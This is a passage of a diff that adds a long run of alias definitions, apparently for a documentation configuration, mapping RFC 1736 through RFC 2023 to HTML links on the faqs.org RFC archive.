+                         "RFC1736=<a href=\"http://www.faqs.org/rfcs/rfc1736.html\">RFC 1736</a>" \
+                         "RFC1737=<a href=\"http://www.faqs.org/rfcs/rfc1737.html\">RFC 1737</a>" \
+                         "RFC1738=<a href=\"http://www.faqs.org/rfcs/rfc1738.html\">RFC 1738</a>" \
+                         "RFC1739=<a href=\"http://www.faqs.org/rfcs/rfc1739.html\">RFC 1739</a>" \
+                         "RFC1740=<a href=\"http://www.faqs.org/rfcs/rfc1740.html\">RFC 1740</a>" \
+                         "RFC1741=<a href=\"http://www.faqs.org/rfcs/rfc1741.html\">RFC 1741</a>" \
+                         "RFC1742=<a href=\"http://www.faqs.org/rfcs/rfc1742.html\">RFC 1742</a>" \
+                         "RFC1743=<a href=\"http://www.faqs.org/rfcs/rfc1743.html\">RFC 1743</a>" \
+                         "RFC1744=<a href=\"http://www.faqs.org/rfcs/rfc1744.html\">RFC 1744</a>" \
+                         "RFC1745=<a href=\"http://www.faqs.org/rfcs/rfc1745.html\">RFC 1745</a>" \
+                         "RFC1746=<a href=\"http://www.faqs.org/rfcs/rfc1746.html\">RFC 1746</a>" \
+                         "RFC1747=<a href=\"http://www.faqs.org/rfcs/rfc1747.html\">RFC 1747</a>" \
+                         "RFC1748=<a href=\"http://www.faqs.org/rfcs/rfc1748.html\">RFC 1748</a>" \
+                         "RFC1749=<a href=\"http://www.faqs.org/rfcs/rfc1749.html\">RFC 1749</a>" \
+                         "RFC1750=<a href=\"http://www.faqs.org/rfcs/rfc1750.html\">RFC 1750</a>" \
+                         "RFC1751=<a href=\"http://www.faqs.org/rfcs/rfc1751.html\">RFC 1751</a>" \
+                         "RFC1752=<a href=\"http://www.faqs.org/rfcs/rfc1752.html\">RFC 1752</a>" \
+                         "RFC1753=<a href=\"http://www.faqs.org/rfcs/rfc1753.html\">RFC 1753</a>" \
+                         "RFC1754=<a href=\"http://www.faqs.org/rfcs/rfc1754.html\">RFC 1754</a>" \
+                         "RFC1755=<a href=\"http://www.faqs.org/rfcs/rfc1755.html\">RFC 1755</a>" \
+                         "RFC1756=<a href=\"http://www.faqs.org/rfcs/rfc1756.html\">RFC 1756</a>" \
+                         "RFC1757=<a href=\"http://www.faqs.org/rfcs/rfc1757.html\">RFC 1757</a>" \
+                         "RFC1758=<a href=\"http://www.faqs.org/rfcs/rfc1758.html\">RFC 1758</a>" \
+                         "RFC1759=<a href=\"http://www.faqs.org/rfcs/rfc1759.html\">RFC 1759</a>" \
+                         "RFC1760=<a href=\"http://www.faqs.org/rfcs/rfc1760.html\">RFC 1760</a>" \
+                         "RFC1761=<a href=\"http://www.faqs.org/rfcs/rfc1761.html\">RFC 1761</a>" \
+                         "RFC1762=<a href=\"http://www.faqs.org/rfcs/rfc1762.html\">RFC 1762</a>" \
+                         "RFC1763=<a href=\"http://www.faqs.org/rfcs/rfc1763.html\">RFC 1763</a>" \
+                         "RFC1764=<a href=\"http://www.faqs.org/rfcs/rfc1764.html\">RFC 1764</a>" \
+                         "RFC1765=<a href=\"http://www.faqs.org/rfcs/rfc1765.html\">RFC 1765</a>" \
+                         "RFC1766=<a href=\"http://www.faqs.org/rfcs/rfc1766.html\">RFC 1766</a>" \
+                         "RFC1767=<a href=\"http://www.faqs.org/rfcs/rfc1767.html\">RFC 1767</a>" \
+                         "RFC1768=<a href=\"http://www.faqs.org/rfcs/rfc1768.html\">RFC 1768</a>" \
+                         "RFC1769=<a href=\"http://www.faqs.org/rfcs/rfc1769.html\">RFC 1769</a>" \
+                         "RFC1770=<a href=\"http://www.faqs.org/rfcs/rfc1770.html\">RFC 1770</a>" \
+                         "RFC1771=<a href=\"http://www.faqs.org/rfcs/rfc1771.html\">RFC 1771</a>" \
+                         "RFC1772=<a href=\"http://www.faqs.org/rfcs/rfc1772.html\">RFC 1772</a>" \
+                         "RFC1773=<a href=\"http://www.faqs.org/rfcs/rfc1773.html\">RFC 1773</a>" \
+                         "RFC1774=<a href=\"http://www.faqs.org/rfcs/rfc1774.html\">RFC 1774</a>" \
+                         "RFC1775=<a href=\"http://www.faqs.org/rfcs/rfc1775.html\">RFC 1775</a>" \
+                         "RFC1776=<a href=\"http://www.faqs.org/rfcs/rfc1776.html\">RFC 1776</a>" \
+                         "RFC1777=<a href=\"http://www.faqs.org/rfcs/rfc1777.html\">RFC 1777</a>" \
+                         "RFC1778=<a href=\"http://www.faqs.org/rfcs/rfc1778.html\">RFC 1778</a>" \
+                         "RFC1779=<a href=\"http://www.faqs.org/rfcs/rfc1779.html\">RFC 1779</a>" \
+                         "RFC1780=<a href=\"http://www.faqs.org/rfcs/rfc1780.html\">RFC 1780</a>" \
+                         "RFC1781=<a href=\"http://www.faqs.org/rfcs/rfc1781.html\">RFC 1781</a>" \
+                         "RFC1782=<a href=\"http://www.faqs.org/rfcs/rfc1782.html\">RFC 1782</a>" \
+                         "RFC1783=<a href=\"http://www.faqs.org/rfcs/rfc1783.html\">RFC 1783</a>" \
+                         "RFC1784=<a href=\"http://www.faqs.org/rfcs/rfc1784.html\">RFC 1784</a>" \
+                         "RFC1785=<a href=\"http://www.faqs.org/rfcs/rfc1785.html\">RFC 1785</a>" \
+                         "RFC1786=<a href=\"http://www.faqs.org/rfcs/rfc1786.html\">RFC 1786</a>" \
+                         "RFC1787=<a href=\"http://www.faqs.org/rfcs/rfc1787.html\">RFC 1787</a>" \
+                         "RFC1788=<a href=\"http://www.faqs.org/rfcs/rfc1788.html\">RFC 1788</a>" \
+                         "RFC1789=<a href=\"http://www.faqs.org/rfcs/rfc1789.html\">RFC 1789</a>" \
+                         "RFC1790=<a href=\"http://www.faqs.org/rfcs/rfc1790.html\">RFC 1790</a>" \
+                         "RFC1791=<a href=\"http://www.faqs.org/rfcs/rfc1791.html\">RFC 1791</a>" \
+                         "RFC1792=<a href=\"http://www.faqs.org/rfcs/rfc1792.html\">RFC 1792</a>" \
+                         "RFC1793=<a href=\"http://www.faqs.org/rfcs/rfc1793.html\">RFC 1793</a>" \
+                         "RFC1794=<a href=\"http://www.faqs.org/rfcs/rfc1794.html\">RFC 1794</a>" \
+                         "RFC1795=<a href=\"http://www.faqs.org/rfcs/rfc1795.html\">RFC 1795</a>" \
+                         "RFC1796=<a href=\"http://www.faqs.org/rfcs/rfc1796.html\">RFC 1796</a>" \
+                         "RFC1797=<a href=\"http://www.faqs.org/rfcs/rfc1797.html\">RFC 1797</a>" \
+                         "RFC1798=<a href=\"http://www.faqs.org/rfcs/rfc1798.html\">RFC 1798</a>" \
+                         "RFC1799=<a href=\"http://www.faqs.org/rfcs/rfc1799.html\">RFC 1799</a>" \
+                         "RFC1800=<a href=\"http://www.faqs.org/rfcs/rfc1800.html\">RFC 1800</a>" \
+                         "RFC1801=<a href=\"http://www.faqs.org/rfcs/rfc1801.html\">RFC 1801</a>" \
+                         "RFC1802=<a href=\"http://www.faqs.org/rfcs/rfc1802.html\">RFC 1802</a>" \
+                         "RFC1803=<a href=\"http://www.faqs.org/rfcs/rfc1803.html\">RFC 1803</a>" \
+                         "RFC1804=<a href=\"http://www.faqs.org/rfcs/rfc1804.html\">RFC 1804</a>" \
+                         "RFC1805=<a href=\"http://www.faqs.org/rfcs/rfc1805.html\">RFC 1805</a>" \
+                         "RFC1806=<a href=\"http://www.faqs.org/rfcs/rfc1806.html\">RFC 1806</a>" \
+                         "RFC1807=<a href=\"http://www.faqs.org/rfcs/rfc1807.html\">RFC 1807</a>" \
+                         "RFC1808=<a href=\"http://www.faqs.org/rfcs/rfc1808.html\">RFC 1808</a>" \
+                         "RFC1809=<a href=\"http://www.faqs.org/rfcs/rfc1809.html\">RFC 1809</a>" \
+                         "RFC1810=<a href=\"http://www.faqs.org/rfcs/rfc1810.html\">RFC 1810</a>" \
+                         "RFC1811=<a href=\"http://www.faqs.org/rfcs/rfc1811.html\">RFC 1811</a>" \
+                         "RFC1812=<a href=\"http://www.faqs.org/rfcs/rfc1812.html\">RFC 1812</a>" \
+                         "RFC1813=<a href=\"http://www.faqs.org/rfcs/rfc1813.html\">RFC 1813</a>" \
+                         "RFC1814=<a href=\"http://www.faqs.org/rfcs/rfc1814.html\">RFC 1814</a>" \
+                         "RFC1815=<a href=\"http://www.faqs.org/rfcs/rfc1815.html\">RFC 1815</a>" \
+                         "RFC1816=<a href=\"http://www.faqs.org/rfcs/rfc1816.html\">RFC 1816</a>" \
+                         "RFC1817=<a href=\"http://www.faqs.org/rfcs/rfc1817.html\">RFC 1817</a>" \
+                         "RFC1818=<a href=\"http://www.faqs.org/rfcs/rfc1818.html\">RFC 1818</a>" \
+                         "RFC1819=<a href=\"http://www.faqs.org/rfcs/rfc1819.html\">RFC 1819</a>" \
+                         "RFC1820=<a href=\"http://www.faqs.org/rfcs/rfc1820.html\">RFC 1820</a>" \
+                         "RFC1821=<a href=\"http://www.faqs.org/rfcs/rfc1821.html\">RFC 1821</a>" \
+                         "RFC1822=<a href=\"http://www.faqs.org/rfcs/rfc1822.html\">RFC 1822</a>" \
+                         "RFC1823=<a href=\"http://www.faqs.org/rfcs/rfc1823.html\">RFC 1823</a>" \
+                         "RFC1824=<a href=\"http://www.faqs.org/rfcs/rfc1824.html\">RFC 1824</a>" \
+                         "RFC1825=<a href=\"http://www.faqs.org/rfcs/rfc1825.html\">RFC 1825</a>" \
+                         "RFC1826=<a href=\"http://www.faqs.org/rfcs/rfc1826.html\">RFC 1826</a>" \
+                         "RFC1827=<a href=\"http://www.faqs.org/rfcs/rfc1827.html\">RFC 1827</a>" \
+                         "RFC1828=<a href=\"http://www.faqs.org/rfcs/rfc1828.html\">RFC 1828</a>" \
+                         "RFC1829=<a href=\"http://www.faqs.org/rfcs/rfc1829.html\">RFC 1829</a>" \
+                         "RFC1830=<a href=\"http://www.faqs.org/rfcs/rfc1830.html\">RFC 1830</a>" \
+                         "RFC1831=<a href=\"http://www.faqs.org/rfcs/rfc1831.html\">RFC 1831</a>" \
+                         "RFC1832=<a href=\"http://www.faqs.org/rfcs/rfc1832.html\">RFC 1832</a>" \
+                         "RFC1833=<a href=\"http://www.faqs.org/rfcs/rfc1833.html\">RFC 1833</a>" \
+                         "RFC1834=<a href=\"http://www.faqs.org/rfcs/rfc1834.html\">RFC 1834</a>" \
+                         "RFC1835=<a href=\"http://www.faqs.org/rfcs/rfc1835.html\">RFC 1835</a>" \
+                         "RFC1836=<a href=\"http://www.faqs.org/rfcs/rfc1836.html\">RFC 1836</a>" \
+                         "RFC1837=<a href=\"http://www.faqs.org/rfcs/rfc1837.html\">RFC 1837</a>" \
+                         "RFC1838=<a href=\"http://www.faqs.org/rfcs/rfc1838.html\">RFC 1838</a>" \
+                         "RFC1839=<a href=\"http://www.faqs.org/rfcs/rfc1839.html\">RFC 1839</a>" \
+                         "RFC1840=<a href=\"http://www.faqs.org/rfcs/rfc1840.html\">RFC 1840</a>" \
+                         "RFC1841=<a href=\"http://www.faqs.org/rfcs/rfc1841.html\">RFC 1841</a>" \
+                         "RFC1842=<a href=\"http://www.faqs.org/rfcs/rfc1842.html\">RFC 1842</a>" \
+                         "RFC1843=<a href=\"http://www.faqs.org/rfcs/rfc1843.html\">RFC 1843</a>" \
+                         "RFC1844=<a href=\"http://www.faqs.org/rfcs/rfc1844.html\">RFC 1844</a>" \
+                         "RFC1845=<a href=\"http://www.faqs.org/rfcs/rfc1845.html\">RFC 1845</a>" \
+                         "RFC1846=<a href=\"http://www.faqs.org/rfcs/rfc1846.html\">RFC 1846</a>" \
+                         "RFC1847=<a href=\"http://www.faqs.org/rfcs/rfc1847.html\">RFC 1847</a>" \
+                         "RFC1848=<a href=\"http://www.faqs.org/rfcs/rfc1848.html\">RFC 1848</a>" \
+                         "RFC1849=<a href=\"http://www.faqs.org/rfcs/rfc1849.html\">RFC 1849</a>" \
+                         "RFC1850=<a href=\"http://www.faqs.org/rfcs/rfc1850.html\">RFC 1850</a>" \
+                         "RFC1851=<a href=\"http://www.faqs.org/rfcs/rfc1851.html\">RFC 1851</a>" \
+                         "RFC1852=<a href=\"http://www.faqs.org/rfcs/rfc1852.html\">RFC 1852</a>" \
+                         "RFC1853=<a href=\"http://www.faqs.org/rfcs/rfc1853.html\">RFC 1853</a>" \
+                         "RFC1854=<a href=\"http://www.faqs.org/rfcs/rfc1854.html\">RFC 1854</a>" \
+                         "RFC1855=<a href=\"http://www.faqs.org/rfcs/rfc1855.html\">RFC 1855</a>" \
+                         "RFC1856=<a href=\"http://www.faqs.org/rfcs/rfc1856.html\">RFC 1856</a>" \
+                         "RFC1857=<a href=\"http://www.faqs.org/rfcs/rfc1857.html\">RFC 1857</a>" \
+                         "RFC1858=<a href=\"http://www.faqs.org/rfcs/rfc1858.html\">RFC 1858</a>" \
+                         "RFC1859=<a href=\"http://www.faqs.org/rfcs/rfc1859.html\">RFC 1859</a>" \
+                         "RFC1860=<a href=\"http://www.faqs.org/rfcs/rfc1860.html\">RFC 1860</a>" \
+                         "RFC1861=<a href=\"http://www.faqs.org/rfcs/rfc1861.html\">RFC 1861</a>" \
+                         "RFC1862=<a href=\"http://www.faqs.org/rfcs/rfc1862.html\">RFC 1862</a>" \
+                         "RFC1863=<a href=\"http://www.faqs.org/rfcs/rfc1863.html\">RFC 1863</a>" \
+                         "RFC1864=<a href=\"http://www.faqs.org/rfcs/rfc1864.html\">RFC 1864</a>" \
+                         "RFC1865=<a href=\"http://www.faqs.org/rfcs/rfc1865.html\">RFC 1865</a>" \
+                         "RFC1866=<a href=\"http://www.faqs.org/rfcs/rfc1866.html\">RFC 1866</a>" \
+                         "RFC1867=<a href=\"http://www.faqs.org/rfcs/rfc1867.html\">RFC 1867</a>" \
+                         "RFC1868=<a href=\"http://www.faqs.org/rfcs/rfc1868.html\">RFC 1868</a>" \
+                         "RFC1869=<a href=\"http://www.faqs.org/rfcs/rfc1869.html\">RFC 1869</a>" \
+                         "RFC1870=<a href=\"http://www.faqs.org/rfcs/rfc1870.html\">RFC 1870</a>" \
+                         "RFC1871=<a href=\"http://www.faqs.org/rfcs/rfc1871.html\">RFC 1871</a>" \
+                         "RFC1872=<a href=\"http://www.faqs.org/rfcs/rfc1872.html\">RFC 1872</a>" \
+                         "RFC1873=<a href=\"http://www.faqs.org/rfcs/rfc1873.html\">RFC 1873</a>" \
+                         "RFC1874=<a href=\"http://www.faqs.org/rfcs/rfc1874.html\">RFC 1874</a>" \
+                         "RFC1875=<a href=\"http://www.faqs.org/rfcs/rfc1875.html\">RFC 1875</a>" \
+                         "RFC1876=<a href=\"http://www.faqs.org/rfcs/rfc1876.html\">RFC 1876</a>" \
+                         "RFC1877=<a href=\"http://www.faqs.org/rfcs/rfc1877.html\">RFC 1877</a>" \
+                         "RFC1878=<a href=\"http://www.faqs.org/rfcs/rfc1878.html\">RFC 1878</a>" \
+                         "RFC1879=<a href=\"http://www.faqs.org/rfcs/rfc1879.html\">RFC 1879</a>" \
+                         "RFC1880=<a href=\"http://www.faqs.org/rfcs/rfc1880.html\">RFC 1880</a>" \
+                         "RFC1881=<a href=\"http://www.faqs.org/rfcs/rfc1881.html\">RFC 1881</a>" \
+                         "RFC1882=<a href=\"http://www.faqs.org/rfcs/rfc1882.html\">RFC 1882</a>" \
+                         "RFC1883=<a href=\"http://www.faqs.org/rfcs/rfc1883.html\">RFC 1883</a>" \
+                         "RFC1884=<a href=\"http://www.faqs.org/rfcs/rfc1884.html\">RFC 1884</a>" \
+                         "RFC1885=<a href=\"http://www.faqs.org/rfcs/rfc1885.html\">RFC 1885</a>" \
+                         "RFC1886=<a href=\"http://www.faqs.org/rfcs/rfc1886.html\">RFC 1886</a>" \
+                         "RFC1887=<a href=\"http://www.faqs.org/rfcs/rfc1887.html\">RFC 1887</a>" \
+                         "RFC1888=<a href=\"http://www.faqs.org/rfcs/rfc1888.html\">RFC 1888</a>" \
+                         "RFC1889=<a href=\"http://www.faqs.org/rfcs/rfc1889.html\">RFC 1889</a>" \
+                         "RFC1890=<a href=\"http://www.faqs.org/rfcs/rfc1890.html\">RFC 1890</a>" \
+                         "RFC1891=<a href=\"http://www.faqs.org/rfcs/rfc1891.html\">RFC 1891</a>" \
+                         "RFC1892=<a href=\"http://www.faqs.org/rfcs/rfc1892.html\">RFC 1892</a>" \
+                         "RFC1893=<a href=\"http://www.faqs.org/rfcs/rfc1893.html\">RFC 1893</a>" \
+                         "RFC1894=<a href=\"http://www.faqs.org/rfcs/rfc1894.html\">RFC 1894</a>" \
+                         "RFC1895=<a href=\"http://www.faqs.org/rfcs/rfc1895.html\">RFC 1895</a>" \
+                         "RFC1896=<a href=\"http://www.faqs.org/rfcs/rfc1896.html\">RFC 1896</a>" \
+                         "RFC1897=<a href=\"http://www.faqs.org/rfcs/rfc1897.html\">RFC 1897</a>" \
+                         "RFC1898=<a href=\"http://www.faqs.org/rfcs/rfc1898.html\">RFC 1898</a>" \
+                         "RFC1899=<a href=\"http://www.faqs.org/rfcs/rfc1899.html\">RFC 1899</a>" \
+                         "RFC1900=<a href=\"http://www.faqs.org/rfcs/rfc1900.html\">RFC 1900</a>" \
+                         "RFC1901=<a href=\"http://www.faqs.org/rfcs/rfc1901.html\">RFC 1901</a>" \
+                         "RFC1902=<a href=\"http://www.faqs.org/rfcs/rfc1902.html\">RFC 1902</a>" \
+                         "RFC1903=<a href=\"http://www.faqs.org/rfcs/rfc1903.html\">RFC 1903</a>" \
+                         "RFC1904=<a href=\"http://www.faqs.org/rfcs/rfc1904.html\">RFC 1904</a>" \
+                         "RFC1905=<a href=\"http://www.faqs.org/rfcs/rfc1905.html\">RFC 1905</a>" \
+                         "RFC1906=<a href=\"http://www.faqs.org/rfcs/rfc1906.html\">RFC 1906</a>" \
+                         "RFC1907=<a href=\"http://www.faqs.org/rfcs/rfc1907.html\">RFC 1907</a>" \
+                         "RFC1908=<a href=\"http://www.faqs.org/rfcs/rfc1908.html\">RFC 1908</a>" \
+                         "RFC1909=<a href=\"http://www.faqs.org/rfcs/rfc1909.html\">RFC 1909</a>" \
+                         "RFC1910=<a href=\"http://www.faqs.org/rfcs/rfc1910.html\">RFC 1910</a>" \
+                         "RFC1911=<a href=\"http://www.faqs.org/rfcs/rfc1911.html\">RFC 1911</a>" \
+                         "RFC1912=<a href=\"http://www.faqs.org/rfcs/rfc1912.html\">RFC 1912</a>" \
+                         "RFC1913=<a href=\"http://www.faqs.org/rfcs/rfc1913.html\">RFC 1913</a>" \
+                         "RFC1914=<a href=\"http://www.faqs.org/rfcs/rfc1914.html\">RFC 1914</a>" \
+                         "RFC1915=<a href=\"http://www.faqs.org/rfcs/rfc1915.html\">RFC 1915</a>" \
+                         "RFC1916=<a href=\"http://www.faqs.org/rfcs/rfc1916.html\">RFC 1916</a>" \
+                         "RFC1917=<a href=\"http://www.faqs.org/rfcs/rfc1917.html\">RFC 1917</a>" \
+                         "RFC1918=<a href=\"http://www.faqs.org/rfcs/rfc1918.html\">RFC 1918</a>" \
+                         "RFC1919=<a href=\"http://www.faqs.org/rfcs/rfc1919.html\">RFC 1919</a>" \
+                         "RFC1920=<a href=\"http://www.faqs.org/rfcs/rfc1920.html\">RFC 1920</a>" \
+                         "RFC1921=<a href=\"http://www.faqs.org/rfcs/rfc1921.html\">RFC 1921</a>" \
+                         "RFC1922=<a href=\"http://www.faqs.org/rfcs/rfc1922.html\">RFC 1922</a>" \
+                         "RFC1923=<a href=\"http://www.faqs.org/rfcs/rfc1923.html\">RFC 1923</a>" \
+                         "RFC1924=<a href=\"http://www.faqs.org/rfcs/rfc1924.html\">RFC 1924</a>" \
+                         "RFC1925=<a href=\"http://www.faqs.org/rfcs/rfc1925.html\">RFC 1925</a>" \
+                         "RFC1926=<a href=\"http://www.faqs.org/rfcs/rfc1926.html\">RFC 1926</a>" \
+                         "RFC1927=<a href=\"http://www.faqs.org/rfcs/rfc1927.html\">RFC 1927</a>" \
+                         "RFC1928=<a href=\"http://www.faqs.org/rfcs/rfc1928.html\">RFC 1928</a>" \
+                         "RFC1929=<a href=\"http://www.faqs.org/rfcs/rfc1929.html\">RFC 1929</a>" \
+                         "RFC1930=<a href=\"http://www.faqs.org/rfcs/rfc1930.html\">RFC 1930</a>" \
+                         "RFC1931=<a href=\"http://www.faqs.org/rfcs/rfc1931.html\">RFC 1931</a>" \
+                         "RFC1932=<a href=\"http://www.faqs.org/rfcs/rfc1932.html\">RFC 1932</a>" \
+                         "RFC1933=<a href=\"http://www.faqs.org/rfcs/rfc1933.html\">RFC 1933</a>" \
+                         "RFC1934=<a href=\"http://www.faqs.org/rfcs/rfc1934.html\">RFC 1934</a>" \
+                         "RFC1935=<a href=\"http://www.faqs.org/rfcs/rfc1935.html\">RFC 1935</a>" \
+                         "RFC1936=<a href=\"http://www.faqs.org/rfcs/rfc1936.html\">RFC 1936</a>" \
+                         "RFC1937=<a href=\"http://www.faqs.org/rfcs/rfc1937.html\">RFC 1937</a>" \
+                         "RFC1938=<a href=\"http://www.faqs.org/rfcs/rfc1938.html\">RFC 1938</a>" \
+                         "RFC1939=<a href=\"http://www.faqs.org/rfcs/rfc1939.html\">RFC 1939</a>" \
+                         "RFC1940=<a href=\"http://www.faqs.org/rfcs/rfc1940.html\">RFC 1940</a>" \
+                         "RFC1941=<a href=\"http://www.faqs.org/rfcs/rfc1941.html\">RFC 1941</a>" \
+                         "RFC1942=<a href=\"http://www.faqs.org/rfcs/rfc1942.html\">RFC 1942</a>" \
+                         "RFC1943=<a href=\"http://www.faqs.org/rfcs/rfc1943.html\">RFC 1943</a>" \
+                         "RFC1944=<a href=\"http://www.faqs.org/rfcs/rfc1944.html\">RFC 1944</a>" \
+                         "RFC1945=<a href=\"http://www.faqs.org/rfcs/rfc1945.html\">RFC 1945</a>" \
+                         "RFC1946=<a href=\"http://www.faqs.org/rfcs/rfc1946.html\">RFC 1946</a>" \
+                         "RFC1947=<a href=\"http://www.faqs.org/rfcs/rfc1947.html\">RFC 1947</a>" \
+                         "RFC1948=<a href=\"http://www.faqs.org/rfcs/rfc1948.html\">RFC 1948</a>" \
+                         "RFC1949=<a href=\"http://www.faqs.org/rfcs/rfc1949.html\">RFC 1949</a>" \
+                         "RFC1950=<a href=\"http://www.faqs.org/rfcs/rfc1950.html\">RFC 1950</a>" \
+                         "RFC1951=<a href=\"http://www.faqs.org/rfcs/rfc1951.html\">RFC 1951</a>" \
+                         "RFC1952=<a href=\"http://www.faqs.org/rfcs/rfc1952.html\">RFC 1952</a>" \
+                         "RFC1953=<a href=\"http://www.faqs.org/rfcs/rfc1953.html\">RFC 1953</a>" \
+                         "RFC1954=<a href=\"http://www.faqs.org/rfcs/rfc1954.html\">RFC 1954</a>" \
+                         "RFC1955=<a href=\"http://www.faqs.org/rfcs/rfc1955.html\">RFC 1955</a>" \
+                         "RFC1956=<a href=\"http://www.faqs.org/rfcs/rfc1956.html\">RFC 1956</a>" \
+                         "RFC1957=<a href=\"http://www.faqs.org/rfcs/rfc1957.html\">RFC 1957</a>" \
+                         "RFC1958=<a href=\"http://www.faqs.org/rfcs/rfc1958.html\">RFC 1958</a>" \
+                         "RFC1959=<a href=\"http://www.faqs.org/rfcs/rfc1959.html\">RFC 1959</a>" \
+                         "RFC1960=<a href=\"http://www.faqs.org/rfcs/rfc1960.html\">RFC 1960</a>" \
+                         "RFC1961=<a href=\"http://www.faqs.org/rfcs/rfc1961.html\">RFC 1961</a>" \
+                         "RFC1962=<a href=\"http://www.faqs.org/rfcs/rfc1962.html\">RFC 1962</a>" \
+                         "RFC1963=<a href=\"http://www.faqs.org/rfcs/rfc1963.html\">RFC 1963</a>" \
+                         "RFC1964=<a href=\"http://www.faqs.org/rfcs/rfc1964.html\">RFC 1964</a>" \
+                         "RFC1965=<a href=\"http://www.faqs.org/rfcs/rfc1965.html\">RFC 1965</a>" \
+                         "RFC1966=<a href=\"http://www.faqs.org/rfcs/rfc1966.html\">RFC 1966</a>" \
+                         "RFC1967=<a href=\"http://www.faqs.org/rfcs/rfc1967.html\">RFC 1967</a>" \
+                         "RFC1968=<a href=\"http://www.faqs.org/rfcs/rfc1968.html\">RFC 1968</a>" \
+                         "RFC1969=<a href=\"http://www.faqs.org/rfcs/rfc1969.html\">RFC 1969</a>" \
+                         "RFC1970=<a href=\"http://www.faqs.org/rfcs/rfc1970.html\">RFC 1970</a>" \
+                         "RFC1971=<a href=\"http://www.faqs.org/rfcs/rfc1971.html\">RFC 1971</a>" \
+                         "RFC1972=<a href=\"http://www.faqs.org/rfcs/rfc1972.html\">RFC 1972</a>" \
+                         "RFC1973=<a href=\"http://www.faqs.org/rfcs/rfc1973.html\">RFC 1973</a>" \
+                         "RFC1974=<a href=\"http://www.faqs.org/rfcs/rfc1974.html\">RFC 1974</a>" \
+                         "RFC1975=<a href=\"http://www.faqs.org/rfcs/rfc1975.html\">RFC 1975</a>" \
+                         "RFC1976=<a href=\"http://www.faqs.org/rfcs/rfc1976.html\">RFC 1976</a>" \
+                         "RFC1977=<a href=\"http://www.faqs.org/rfcs/rfc1977.html\">RFC 1977</a>" \
+                         "RFC1978=<a href=\"http://www.faqs.org/rfcs/rfc1978.html\">RFC 1978</a>" \
+                         "RFC1979=<a href=\"http://www.faqs.org/rfcs/rfc1979.html\">RFC 1979</a>" \
+                         "RFC1980=<a href=\"http://www.faqs.org/rfcs/rfc1980.html\">RFC 1980</a>" \
+                         "RFC1981=<a href=\"http://www.faqs.org/rfcs/rfc1981.html\">RFC 1981</a>" \
+                         "RFC1982=<a href=\"http://www.faqs.org/rfcs/rfc1982.html\">RFC 1982</a>" \
+                         "RFC1983=<a href=\"http://www.faqs.org/rfcs/rfc1983.html\">RFC 1983</a>" \
+                         "RFC1984=<a href=\"http://www.faqs.org/rfcs/rfc1984.html\">RFC 1984</a>" \
+                         "RFC1985=<a href=\"http://www.faqs.org/rfcs/rfc1985.html\">RFC 1985</a>" \
+                         "RFC1986=<a href=\"http://www.faqs.org/rfcs/rfc1986.html\">RFC 1986</a>" \
+                         "RFC1987=<a href=\"http://www.faqs.org/rfcs/rfc1987.html\">RFC 1987</a>" \
+                         "RFC1988=<a href=\"http://www.faqs.org/rfcs/rfc1988.html\">RFC 1988</a>" \
+                         "RFC1989=<a href=\"http://www.faqs.org/rfcs/rfc1989.html\">RFC 1989</a>" \
+                         "RFC1990=<a href=\"http://www.faqs.org/rfcs/rfc1990.html\">RFC 1990</a>" \
+                         "RFC1991=<a href=\"http://www.faqs.org/rfcs/rfc1991.html\">RFC 1991</a>" \
+                         "RFC1992=<a href=\"http://www.faqs.org/rfcs/rfc1992.html\">RFC 1992</a>" \
+                         "RFC1993=<a href=\"http://www.faqs.org/rfcs/rfc1993.html\">RFC 1993</a>" \
+                         "RFC1994=<a href=\"http://www.faqs.org/rfcs/rfc1994.html\">RFC 1994</a>" \
+                         "RFC1995=<a href=\"http://www.faqs.org/rfcs/rfc1995.html\">RFC 1995</a>" \
+                         "RFC1996=<a href=\"http://www.faqs.org/rfcs/rfc1996.html\">RFC 1996</a>" \
+                         "RFC1997=<a href=\"http://www.faqs.org/rfcs/rfc1997.html\">RFC 1997</a>" \
+                         "RFC1998=<a href=\"http://www.faqs.org/rfcs/rfc1998.html\">RFC 1998</a>" \
+                         "RFC1999=<a href=\"http://www.faqs.org/rfcs/rfc1999.html\">RFC 1999</a>" \
+                         "RFC2000=<a href=\"http://www.faqs.org/rfcs/rfc2000.html\">RFC 2000</a>" \
+                         "RFC2001=<a href=\"http://www.faqs.org/rfcs/rfc2001.html\">RFC 2001</a>" \
+                         "RFC2002=<a href=\"http://www.faqs.org/rfcs/rfc2002.html\">RFC 2002</a>" \
+                         "RFC2003=<a href=\"http://www.faqs.org/rfcs/rfc2003.html\">RFC 2003</a>" \
+                         "RFC2004=<a href=\"http://www.faqs.org/rfcs/rfc2004.html\">RFC 2004</a>" \
+                         "RFC2005=<a href=\"http://www.faqs.org/rfcs/rfc2005.html\">RFC 2005</a>" \
+                         "RFC2006=<a href=\"http://www.faqs.org/rfcs/rfc2006.html\">RFC 2006</a>" \
+                         "RFC2007=<a href=\"http://www.faqs.org/rfcs/rfc2007.html\">RFC 2007</a>" \
+                         "RFC2008=<a href=\"http://www.faqs.org/rfcs/rfc2008.html\">RFC 2008</a>" \
+                         "RFC2009=<a href=\"http://www.faqs.org/rfcs/rfc2009.html\">RFC 2009</a>" \
+                         "RFC2010=<a href=\"http://www.faqs.org/rfcs/rfc2010.html\">RFC 2010</a>" \
+                         "RFC2011=<a href=\"http://www.faqs.org/rfcs/rfc2011.html\">RFC 2011</a>" \
+                         "RFC2012=<a href=\"http://www.faqs.org/rfcs/rfc2012.html\">RFC 2012</a>" \
+                         "RFC2013=<a href=\"http://www.faqs.org/rfcs/rfc2013.html\">RFC 2013</a>" \
+                         "RFC2014=<a href=\"http://www.faqs.org/rfcs/rfc2014.html\">RFC 2014</a>" \
+                         "RFC2015=<a href=\"http://www.faqs.org/rfcs/rfc2015.html\">RFC 2015</a>" \
+                         "RFC2016=<a href=\"http://www.faqs.org/rfcs/rfc2016.html\">RFC 2016</a>" \
+                         "RFC2017=<a href=\"http://www.faqs.org/rfcs/rfc2017.html\">RFC 2017</a>" \
+                         "RFC2018=<a href=\"http://www.faqs.org/rfcs/rfc2018.html\">RFC 2018</a>" \
+                         "RFC2019=<a href=\"http://www.faqs.org/rfcs/rfc2019.html\">RFC 2019</a>" \
+                         "RFC2020=<a href=\"http://www.faqs.org/rfcs/rfc2020.html\">RFC 2020</a>" \
+                         "RFC2021=<a href=\"http://www.faqs.org/rfcs/rfc2021.html\">RFC 2021</a>" \
+                         "RFC2022=<a href=\"http://www.faqs.org/rfcs/rfc2022.html\">RFC 2022</a>" \
+                         "RFC2023=<a href=\"http://www.faqs.org/rfcs/rfc2023.html\">RFC 2023</a>" \
